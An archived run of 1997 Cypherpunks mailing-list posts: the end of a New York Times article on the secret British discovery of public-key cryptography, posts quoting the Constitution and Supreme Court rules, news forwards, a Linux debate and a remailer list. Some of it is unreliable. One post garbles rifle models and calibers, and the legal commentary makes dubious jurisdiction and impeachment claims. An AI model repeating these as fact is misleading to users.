   by Merkle and Hellman.
   
   In a telephone interview from his office in La Jolla, Calif., Malcolm
   Williamson said that he felt bad when others discovered the solution,
   but concluded, "I was working at the British government and that's
   just one of the restrictions you work under when you work for the
   government."
   
   Hellman said in a telephone interview that he agrees. "It must be
   really difficult for them to watch other people get the credit," he
   said. "But that's the agreement they made when they agreed to work in
   secret." He was also quick to point out that the secret branches of
   the government have the help of large budgets and classified
   knowledge.
   
   "Diffie, I and Merkle were working in a vacuum." he said. "If we had
   access to all of the classified literature of the previous 30 years,
   it would really be an advantage."
   
   For his part, Diffie said in a telephone interview from Cirencester,
   England, that he thinks that GCHQ never realized the deep importance
   of what the mathematicians discovered. He said that he met James Ellis
   several years ago and "within an hour of meeting me, Ellis said, 'You
   did much more with this than we did.'"
   
   Diffie also suggested that the history of ideas is hard to write
   because many people often find solutions to different problems only to
   later determine they've discovered the same thing.
   
   T he story keeps going farther back. Recently, Matt Blaze, a
   cryptographer employed at Bell Labs, got a copy of a memorandum from
   the desk of John F. Kennedy about the problem of securing nuclear
   weapons with launch codes. Steve Bellovin, a colleague of Blaze's at
   Bell Labs, said: "When I read this memo, I don't see anything that
   would require public key cryptography. But I think they're in the
   neighborhood. For so many things, the answer is the easy part. Asking
   the question is the hard part. I think this got them asking the
   questions."
   
   Historians of science will certainly spend time sorting out the
   various claims. David Kahn, the author of the best selling history The
   Codebreakers, said that he recently asked the National Security Agency
   to declassify some documents so he could write the proper history of
   public key cryptography. He said an NSA staff member told him, "I've
   spoken to the guys who did this, but they don't want to be interviewed
   now." This suggests that the NSA also may have discovered public-key
   systems or had a hand in exploring them. Kahn hopes that the NSA will
   follow in Britain's lead so an accurate history can be written.
   
   Jim Bidzos, the chief executive of RSA Data Security, the division of
   the publicly traded Security Dynamics that holds the patent on the
   RSA, said that the announcement in Britain will have no effect on the
   company's business. Patent law is based on the notion that the
   inventors trade knowledge about the invention in return for an
   exclusive license to practice it.
   
   In fact, it is an interesting question to wonder whether Britain could
   have changed the history of cyberspace by disclosing the invention and
   encouraging the development of widespread cryptographic security for
   the public.

   This may have been a wise move during the height of the cold war in
   the 70's when there were thousands of Soviet tanks poised on the edge
   of western Europe. Williamson also hastens to note that mathematical
   equations weren't considered patentable in Britain at the time and
   without a patent anyone could have used the invention. The RSA patent
   in the United States was one of the first and it is generally accepted
   to have expanded the definition.
   
   Others are pushing a similar question. In a debate on cryptography
   policy at the University of Maryland, Baltimore County, John Gilmore,
   one of the founders of the Electronic Frontier Foundation, said the
   NSA should be more open. While national defense is very valuable, he
   suggested that the need for security in cyberspace for all citizens is
   going to be essential in the future.
   
   In the long run, the history of the discovery of public key
   cryptography is certain to be written and rewritten often in the next
   several years as more documents emerge from secret government
   laboratories. The spokesman from GCHQ promises that more documents are
   on the way.
   
   Hellman is philosophical. "In a way, these things are like gold
   nuggets that God left in the forest." he said. "If I'm walking along
   in the forest and I stubbed my toe on it, who's to say I deserve
   credit for discovering it?"
   
   He is quick to point out, however, that he shared the discovery with
   everyone.
     _________________________________________________________________
                 Copyright 1997 The New York Times Company
                                      
   





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 29 Dec 1997 10:51:10 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Let's get the US Gov. to give us guns!...
Message-ID: <199712290309.VAA02312@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



			THE CONSTITUTION OF THE 
			     UNITED STATES 
  
 
Section 8.  The Congress shall have Power

	To provide for calling forth the Militia to execute the Laws of 
the Union, suppress Insurrections and repel Invasions; 
	To provide for organizing, arming, and disciplining the Militia, 
and for governing such Part of them as may be employed in the Service of 
the United States, reserving to the States respectively, the Appointment 
of the Officers, and the authority of training and Militia according to 
the discipline prescribed by Congress; 



    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 29 Dec 1997 11:30:42 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Sue Congress?...
Message-ID: <199712290349.VAA02437@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text




Section 4.  The President, Vice President and all civil Officers of the 
United States, shall be removed from Office on Impeachment for, and 
Conviction of, Treason, Bribery, or other high Crimes and Misdemeanors. 

[Clearly congressmen are responsible for their actions while in office since
they are civil officers. It looks like all it should take to remove a civil
officer is a misdemeanor such as speeding.]
 
Section 2.  The judicial Power shall extend to all Cases, in Law and Equity, 
arising under this Constitution, the Laws of the United States, and Treaties 
made, or which shall be made, under their Authority; -- to all Cases affecting 
Ambassadors, other public Ministers and Consuls; -- to all Cases of admiralty 
and maritime Jurisdiction; -- to Controversies between two or more States; -- 
between a State and Citizens of another State; -- between Citizens of 
different States; -- between Citizens of the same State claiming Lands under 
Grants of different States; -- and between a State, or the Citizens thereof, 
and foreign States, Citizens or Subjects. 

[Note that there is no federal jurisdiction for sueing your own
representatives at the federal level since they are citizens of your own
state, however you *can* sue the representatives of the *other* 49 states
for their actions and that *is* a federal level case]

	In all Cases, affecting Ambassadors, other public Ministers and 
Consuls, and those in which a State shall be Party, the supreme Court shall 
have original Jurisdiction.  In all other Cases before mentioned, the supreme 
Court shall have appellate Jurisdiction, both as to Law and Fact, with such 
Exceptions, and under such Regulations as the Congress shall make. 

[Clearly any such claims *must* be at the level of the Supreme Court since
they hold original jurisdiction, further there doesn't seem to be any
mechanism they can refuse to handle the case]

	The Trial of all Crimes, except in Cases of Impeachment, shall be 
by Jury; and such Trial shall be held in the State where the said Crimes 
shall have been committed; but when not committed within any State, the Trial 
shall be at such Place or Places as the Congress may by Law have directed. 

[Since the breaking of the oath to uphold the Constitution while a
representative is a impeachable offence no jury is required. Once the case
is before the Supreme Court then the Congress is required to set the time
and date]

The question of the day is:

How does one go about submitting a case directly to the Supreme Court? The
Constitution apparently leaves this up to the Supreme Court to decide in its
rules of operation.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 29 Dec 1997 11:18:40 +0800
To: cypherpunks@toad.com
Subject: Basic Cryptanalysis
Message-ID: <1.5.4.32.19971229030743.006efc20@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Recently it was noted here that US Army Field Manual
34-40-2, Basic Cryptanalysis, (1990) has been withdrawn
from the Army's Web site.

Thanks to archiving by a cpunk we offer the full manual 
in PDF format. See the contents at:

   http://jya.com/fm/fm34-40-2.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 29 Dec 1997 12:05:57 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Sue Congress?... (fwd)
Message-ID: <199712290425.WAA00157@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sun, 28 Dec 1997 23:54:15 -0500
> From: David Miller <dm0@avana.net>
> Subject: Re: Sue Congress?...

> > The question of the day is:
> > 
> > How does one go about submitting a case directly to the Supreme Court? The
> > Constitution apparently leaves this up to the Supreme Court to decide in its
> > rules of operation.
> 
> In large part, yes.  It is up to the Court's sole discretion whether or
> not they
> will hear a case.  I believe that all cases they hear are appeals.  I'm
> pretty
> sure you can't just go to the Supreme Court, but must follow due
> process...

The quotes from the Constitution, which you apparently didn't read, clearly
indicate that the role of the Supreme Court is more than a simple appeals
court. Further, while they may refuse to hear appeals, hence confirming the
lower courts ruling with a supreme stamp of approval, there is *nothing* in
the Constitution and hence their rules that allows them to refuse to accept
cases where they are the only Constitutional jurisdiction, such as
impeachment proceedings of Congressmen relating to un-constitutional actions
that may result in their impeachment.

Once the case is submitted to the Supreme Court then Congress, not the SC,
chooses the place and time.



    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 29 Dec 1997 12:27:09 +0800
To: cypherpunks@ssz.com
Subject: 17.html
Message-ID: <199712290447.WAA00223@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



      SUPREME COURT OF THE U.S. - RULES
      ..Part IV. Other Jurisdiction
      
   
     _________________________________________________________________
   
    Rule 17. Procedure in an Original Action
    
     * 1. This Rule applies only to an action invoking the Court's
       original jurisdiction under Article III of the Constitution of the
       United States. See also 28 U. S. C. §1251 and U. S. Const., Amdt.
       11. A petition for an extraordinary writ in aid of the Court's
       appellate jurisdiction shall be filed as provided in Rule 20.
     * 2. The form of pleadings and motions prescribed by the Federal
       Rules of Civil Procedure is followed. In other respects, those
       Rules and the Federal Rules of Evidence may be taken as guides.
     * 3. The initial pleading shall be preceded by a motion for leave to
       file, and may be accompanied by a brief in support of the motion.
       Forty copies of each document shall be filed, with proof of
       service. Service shall be as required by Rule 29, except that when
       an adverse party is a State, service shall be made on both the
       Governor and the Attorney General of that State.
     * 4. The case will be placed on the docket when the motion for leave
       to file and the initial pleading are filed with the Clerk. The
       Rule 38(a) docket fee shall be paid at that time.
     * 5. No more than 60 days after receiving the motion for leave to
       file and the initial pleading, an adverse party shall file 40
       copies of any brief in opposition to the motion, with proof of
       service as required by Rule 29. The Clerk will distribute the
       filed documents to the Court for its consideration upon receiving
       an express waiver of the right to file a brief in opposition, or,
       if no waiver or brief is filed, upon the expiration of the time
       allowed for filing. If a brief in opposition is timely filed, the
       Clerk will distribute the filed documents to the Court for its
       consideration no less than 10 days after the brief in opposition
       is filed. A reply brief may be filed, but consideration of the
       case will not be deferred pending its receipt. The Court
       thereafter may grant or deny the motion, set it for oral argument,
       direct that additional documents be filed, or require that other
       proceedings be conducted.
     * 6. A summons issued out of this Court shall be served on the
       defendant 60 days before the return day specified therein. If the
       defendant does not respond by the return day, the plaintiff may
       proceed ex parte.
     * 7. Process against a State issued out of this Court shall be
       served on both the Governor and the Attorney General of that
       State.
       
   
     _________________________________________________________________
   
   
   
   [Previous Section -] [Next Section +] 
   [Overview] 
     _________________________________________________________________





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 29 Dec 1997 12:30:52 +0800
To: cypherpunks@ssz.com
Subject: constitution.articleiii.html
Message-ID: <199712290451.WAA00266@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   
   
    Article III
    
   
   
   
   
   Section 1. The judicial power of the United States, shall be vested in
   one Supreme Court, and in such inferior courts as the Congress may
   from time to time ordain and establish. The judges, both of the
   supreme and inferior courts, shall hold their offices during good
   behaviour, and shall, at stated times, receive for their services, a
   compensation, which shall not be diminished during their continuance
   in office.
   
   
   
   Section 2. The judicial power shall extend to all cases, in law and
   equity, arising under this Constitution, the laws of the United
   States, and treaties made, or which shall be made, under their
   authority;--to all cases affecting ambassadors, other public ministers
   and consuls;--to all cases of admiralty and maritime jurisdiction;--to
   controversies to which the United States shall be a party;--to
   controversies between two or more states;--between a state and
   citizens of another state;--between citizens of different
   states;--between citizens of the same state claiming lands under
   grants of different states, and between a state, or the citizens
   thereof, and foreign states, citizens or subjects.
   
   
   
   In all cases affecting ambassadors, other public ministers and
   consuls, and those in which a state shall be party, the Supreme Court
   shall have original jurisdiction. In all the other cases before
   mentioned, the Supreme Court shall have appellate jurisdiction, both
   as to law and fact, with such exceptions, and under such regulations
   as the Congress shall make.
   
   
   
   The trial of all crimes, except in cases of impeachment, shall be by
   jury; and such trial shall be held in the state where the said crimes
   shall have been committed; but when not committed within any state,
   the trial shall be at such place or places as the Congress may by law
   have directed.
   
   
   
   Section 3. Treason against the United States, shall consist only in
   levying war against them, or in adhering to their enemies, giving them
   aid and comfort. No person shall be convicted of treason unless on the
   testimony of two witnesses to the same overt act, or on confession in
   open court.
   
   
   
   The Congress shall have power to declare the punishment of treason,
   but no attainder of treason shall work corruption of blood, or
   forfeiture except during the life of the person attainted.
   
   ==========================================================
     * Next Article--Previous Article
     * Table of Articles and Amendments
     * Overview of Full Constitution
       
   ==========================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 29 Dec 1997 12:31:10 +0800
To: cypherpunks@ssz.com
Subject: constitution.amendmentxi.html
Message-ID: <199712290452.WAA00288@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



    Amendment XI
    
   
   
   
   
   The judicial power of the United States shall not be construed to
   extend to any suit in law or equity, commenced or prosecuted against
   one of the United States by citizens of another state, or by citizens
   or subjects of any foreign state.
   
   ==========================================================
     * Next Amendment--Previous Amendment
     * Table of Articles and Amendments
     * Overview of Full Constitution
       
   ==========================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 29 Dec 1997 12:32:56 +0800
To: cypherpunks@ssz.com
Subject: 1251.html
Message-ID: <199712290452.WAA00329@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



    § 1251. Original jurisdiction
     * (a) The Supreme Court shall have original and exclusive
       jurisdiction of all controversies between two or more States.
     * (b) The Supreme Court shall have original but not exclusive
       jurisdiction of:
          + (1) All actions or proceedings to which ambassadors, other
            public ministers, consuls, or vice consuls of foreign states
            are parties;
          + (2) All controversies between the United States and a State;
          + (3) All actions or proceedings by a State against the
            citizens of another State or against aliens.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 29 Dec 1997 12:40:18 +0800
To: cypherpunks@ssz.com
Subject: 29.html
Message-ID: <199712290457.WAA00396@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



      SUPREME COURT OF THE U.S. - RULES
      ..Part VII. Practice and Procedure
      
   
     _________________________________________________________________
   
    Rule 29. Filing and Service of Documents; Special Notifications; Corporate
    Listing
    
     * 1. Any document required or permitted to be presented to the Court
       or to a Justice shall be filed with the Clerk.
     * 2. A document is timely filed if it is sent to the Clerk through
       the United States Postal Service by first-class mail (including
       express or priority mail), postage prepaid, and bears a postmark
       showing that the document was mailed on or before the last day for
       filing. Commercial postage meter labels alone are not acceptable.
       If submitted by an inmate confined in an institution, a document
       is timely filed if it is deposited in the institution's internal
       mail system on or before the last day for filing and is
       accompanied by a notarized statement or declaration in compliance
       with 28 U. S. C. §1746 setting out the date of deposit and stating
       that first-class postage has been prepaid. If the postmark is
       missing or not legible, the Clerk will require the person who
       mailed the document to submit a notarized statement or declaration
       in compliance with 28 U. S. C. §1746 setting out the details of
       the mailing and stating that the mailing took place on a
       particular date within the permitted time. A document also is
       timely filed if it is forwarded through a private delivery or
       courier service and is actually received by the Clerk within the
       time permitted for filing.
     * 3. Any document required by these Rules to be served may be served
       personally or by mail on each party to the proceeding at or before
       the time of filing. If the document has been prepared as required
       by Rule 33.1, three copies shall be served on each other party
       separately represented in the proceeding. If the document has been
       prepared as required by Rule 33.2, service of a single copy on
       each other separately represented party suffices. If personal
       service is made, it shall consist of delivery at the office of the
       counsel of record, either to counsel or to an employee therein. If
       service is by mail, it shall consist of depositing the document
       with the United States Postal Service, with no less than
       first-class postage prepaid, addressed to counsel of record at the
       proper post office address. When a party is not represented by
       counsel, service shall be made on the party, personally or by
       mail.
     * 4. (a) If the United States or any federal department, office,
       agency, officer, or employee is a party to be served, service
       shall be made on the Solicitor General of the United States, Room
       5614, Department of Justice, 10th St. and Constitution Ave., N.
       W., Washington, DC 20530. When an agency of the United States that
       is a party is authorized by law to appear before this Court on its
       own behalf, or when an officer or employee of the United States is
       a party, the agency, officer, or employee shall be served in
       addition to the Solicitor General.
          + (b) In any proceeding in this Court in which the
            constitutionality of an Act of Congress is drawn into
            question, and neither the United States nor any federal
            department, office, agency, officer, or employee is a party,
            the initial document filed in this Court shall recite that 28
            U. S. C. §2403(a) may apply and shall be served on the
            Solicitor General of the United States, Room 5614, Department
            of Justice, 10th St. and Constitution Ave., N. W.,
            Washington, DC 20530. In such a proceeding from any court of
            the United States, as defined by 28 U. S. C. §451, the
            initial document also shall state whether that court,
            pursuant to 28 U. S. C. §2403(a), certified to the Attorney
            General the fact that the constitutionality of an Act of
            Congress was drawn into question. See Rule 14.1(e)(v).
          + (c) In any proceeding in this Court in which the
            constitutionality of any statute of a State is drawn into
            question, and neither the State nor any agency, officer, or
            employee thereof is a party, the initial document filed in
            this Court shall recite that 28 U. S. C. §2403(b) may apply
            and shall be served on the Attorney General of that State. In
            such a proceeding from any court of the United States, as
            defined by 28 U. S. C. §451, the initial document also shall
            state whether that court, pursuant to 28 U. S. C. §2403(b),
            certified to the State Attorney General the fact that the
            constitutionality of a statute of that State was drawn into
            question. See Rule 14.1(e)(v).
     * 5. Proof of service, when required by these Rules, shall accompany
       the document when it is presented to the Clerk for filing and
       shall be separate from it. Proof of service shall contain, or be
       accompanied by, a statement that all parties required to be served
       have been served, together with a list of the names, addresses,
       and telephone numbers of counsel indicating the name of the party
       or parties each counsel represents. It is not necessary that
       service on each party required to be served be made in the same
       manner or evidenced by the same proof. Proof of service may
       consist of any one of the following:
          + (a) an acknowledgment of service, signed by counsel of record
            for the party served;
          + (b) a certificate of service, reciting the facts and
            circumstances of service in compliance with the appropriate
            paragraph or paragraphs of this Rule, and signed by a member
            of the Bar of this Court representing the party on whose
            behalf service is made or by an attorney appointed to
            represent that party under the Criminal Justice Act of 1964,
            see 18 U. S. C. §3006A(d)(6), or under any other applicable
            federal statute; or
          + (c) a notarized affidavit or declaration in compliance with
            28 U. S. C. §1746, reciting the facts and circumstances of
            service in accordance with the appropriate paragraph or
            paragraphs of this Rule, whenever service is made by any
            person not a member of the Bar of this Court and not an
            attorney appointed to represent a party under the Criminal
            Justice Act of 1964, see 18 U. S. C. §3006A(d)(6), or under
            any other applicable federal statute.
     * 6. Every document, except a joint appendix or amicus curiae brief,
       filed by or on behalf of one or more corporations shall list all
       parent companies and nonwholly owned subsidiaries of each of the
       corporate filers. If there is no parent or subsidiary company to
       be listed, a notation to this effect shall be included in the
       document. If a list has been included in a document filed earlier
       in the case, reference may be made to the earlier document (except
       when the earlier list appeared in an application for an extension
       of time or for a stay), and only amendments to the list to make it
       current need be included in the document being filed.
       
   
     _________________________________________________________________
   
   
   
   [Previous Section -] [Next Section +] 
   [Overview] 
     _________________________________________________________________





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 29 Dec 1997 12:45:38 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: constitution.amendmentxi.html (fwd)
Message-ID: <199712290504.XAA00440@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

>     Amendment XI
>     
>    The judicial power of the United States shall not be construed to
>    extend to any suit in law or equity, commenced or prosecuted against
>    one of the United States by citizens of another state, or by citizens
>    or subjects of any foreign state.

Of note is that this amendment *only* covers cases where a citizen sues a
*single* state, not 49 of them.

There is no Constitutional rule that covers the process between a individual
and more than a single state. It simply ain't there.



    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 29 Dec 1997 13:08:29 +0800
To: cypherpunks@ssz.com
Subject: http:--allpolitics.com-1997-12-28-clinton.budget-
Message-ID: <199712290527.XAA00510@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   [IMAGE]
   
   community
   Join a thread, start a thread -- it's your chance to sound off!
   
   Infoseek search 
   __________
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                   CLINTON ADVISER: NO MAJOR TAX CUT IN 1998
                                       
   Tax Cut
   
   WASHINGTON (AllPolitics, Dec. 28) -- President Bill Clinton will not
   propose any across-the-board tax cut or push for any major overhaul of
   the tax system in his 1998 budget, a senior White House adviser said
   Sunday.
   
   But speaking on NBC's "Meet The Press," Rahm Emanuel also said that
   Clinton would not necessarily veto any tax cut sent to the White House
   by Congress, provided it didn't bust an existing spending agreement
   that would balance the budget by 2002.
   
   "If others have an approach, we'd love to see it," he said. "(But)
   where are they going to pay for it? Are they talking about cuts in
   health care? Are they talking about cuts in senior programs?"
   
   Some Wall Street analysts have forecast a surplus of as much as $40
   billion in the current fiscal year, which runs through September 30 --
   a surplus that proponents of a tax cut say could be used to pay for
   it. Emanuel
   
   But Emanuel said the White House believes that no decisions about what
   to do with the surplus should be made until a surplus actually
   materializes.
   
   "Washington should not return to its bad habits of spending money it
   doesn't have," he said. "That's what got us into trouble in the first
   place in the 1980s."
   
   In addition to tax cuts, a number of Republicans, including House
   Majority Leader Dick Armey and 1996 presidential candidate Steve
   Forbes, have also proposed so-called "flat tax" plans that would
   radically alter the income tax system. Others want to replace income
   tax entirely with a national sales tax.
   
   Even Democratic House Minority Leader Dick Gephardt has a modified
   "flat tax" plan that would simplify the system and reduce tax rates
   for middle and lower income taxpayers.
   
   But Sunday, Emanuel made it clear the White House wasn't looking to
   make any such radical changes in the tax code in 1998.
   
   "We finally have gotten the deficit under wraps and lifted it off the
   back of the economy," he said. "We shouldn't do anything reckless or
   irresponsible."
   
   However, Clinton will propose new tax credits targeted toward helping
   middle-class families pay for child care, Emanuel said.
   
   Reuters contributed to this report. Advertise on AllPolitics. Click
   here for info. 
   Come see the cures of tomorrow 
   Congressional Quarterly 
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   | search
   
     _________________________________________________________________
   
   Click here for technical help or to send us feedback.
   
   
   Copyright (c) 1997 AllPolitics All Rights Reserved.
   Terms under which this information is provided to you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 29 Dec 1997 13:20:57 +0800
To: cypherpunks@ssz.com
Subject: http:--www.cnn.com-US-9712-28-briefs.pm-britain.getty.ap-
Message-ID: <199712290541.XAA00560@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   CNN logo 
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   Year In Review Main banner Click here for TIME daily rule
   
                   JOHN PAUL GETTY II NOW A BRITISH CITIZEN
                                       
     December 28, 1997
     Web posted at: 9:58 p.m. EST (0258 GMT)
     
     LONDON (AP) -- American billionaire John Paul Getty II is an
     American no longer.
     
     The London Sunday Telegraph says the philanthropist has become a
     British citizen and revoked his U.S. citizenship. Sources in the
     British government confirm the move.
     
     Getty is 65 and has lived in Britain for 25 years. During that time,
     he's become one of the country's major benefactors. In 1986, he even
     received an honorary knighthood from Queen Elizabeth II.
     
     The Forbes magazine list of the 400 richest Americans estimates
     Getty's fortune at $1 billion.
     
   
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        Terms under which this service is provided to you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 29 Dec 1997 14:48:27 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Guns: H&K, G3, 7.62 v 5.56 [Guns]
Message-ID: <199712290708.BAA00806@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

I finaly got around to doing some research on Tim's claim regarding H&K's G3
being a 5.56 round while the various folks I have been talking to refer to
it as a 7.62.

Tim's claim that the 7.62 (.308) is actualy the HK-91/G1 and not the G3 is
correct. The confusion comes from the fact that a few years ago the German
Bundswehr quit using the HK and began using the FN/G3 which is 7.62. I had
assumed the G3 it was refering to was the H&K and when I talked to the local
gun nut he thought I was talking about the current model because I had made
a comment a while back about it being used by the Germans as their standard
infantry model and being .308.

So,

H&K 91/G1 is 7.62 (.308) (old standard issue)
H&K 93/G3 is 5.56 (.223)
FN/G3 is 7.62 (.308) (current standard issue)

My suggested rifle *is* the H&K 91/G1 which is .308 and the local gun shop
says used they run in the $1500 to $3000 range. New ones aren't imported.



    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Patrick May <pjm@spe.com>
Date: Mon, 29 Dec 1997 19:59:03 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Why I Support Microsoft
In-Reply-To: <v0310280db0c2f8195048@[207.167.93.63]>
Message-ID: <1661-Mon29Dec1997034752-0800-Patrick May <pjm@spe.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May writes:
 > At 1:53 PM -0700 12/27/97, Patrick May wrote:
 > >The President should issue an executive order mandating that all
 > >government agencies immediately remove all Microsoft operating systems
 > >from their machines, to be replaced with Linux.  All Microsoft
 > >products should be eliminated as well.  The standard text format
 > >should be LaTeX.  All businesses receiving money from government
 > >contracts should be required to use the same tools.
[ . . . ]
 > 
 > Much to be said for this "free market solution." Certainly the Justice
 > Department has no business screaming "monopoly!" if it's still
 > "standardizing" on MS products.
[ . . . ]
 > On the other hand, requiring _any_ language, program, or OS is probably a
 > mistake. If the Arctic Cartography Office wants to keep using its Macs, why
 > should some bureaucrat force them to scrap their Macs and use Linux?
 > 
 > (Yeah, yeah, a form of Linux, MK-Linux, runs on Macs. But Adobe Photoshop
 > doesn't run under Linux. And Mathematica doesn't run under Linux for the
 > Mac (last I checked). And so on. The point is, why standardize at the end
 > of a gun?)

     Okay, so I'm a UNIX-head; I forgot about the Macs (a dangerous
thing to do, given the ferocity of their supporters).  If the
government were to adopt my suggestion, two major results would be:

     - The third party market for Linux software would grow rapidly
       and enormously.
     - The government's software budget would be reduced dramatically.

I consider both of these to be Good Things (tm).  The government
wouldn't be forcing anything at the point of a gun, they'd simply be
making a financially responsible vendor selection (hey, there's a
first time for everything).  Our tax dollars shouldn't be wasted on
substandard software when superior, cheaper alternatives exist.

Regards,

Patrick May
S P Engineering, Inc.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 29 Dec 1997 23:01:41 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199712291450.GAA08637@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord ?";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
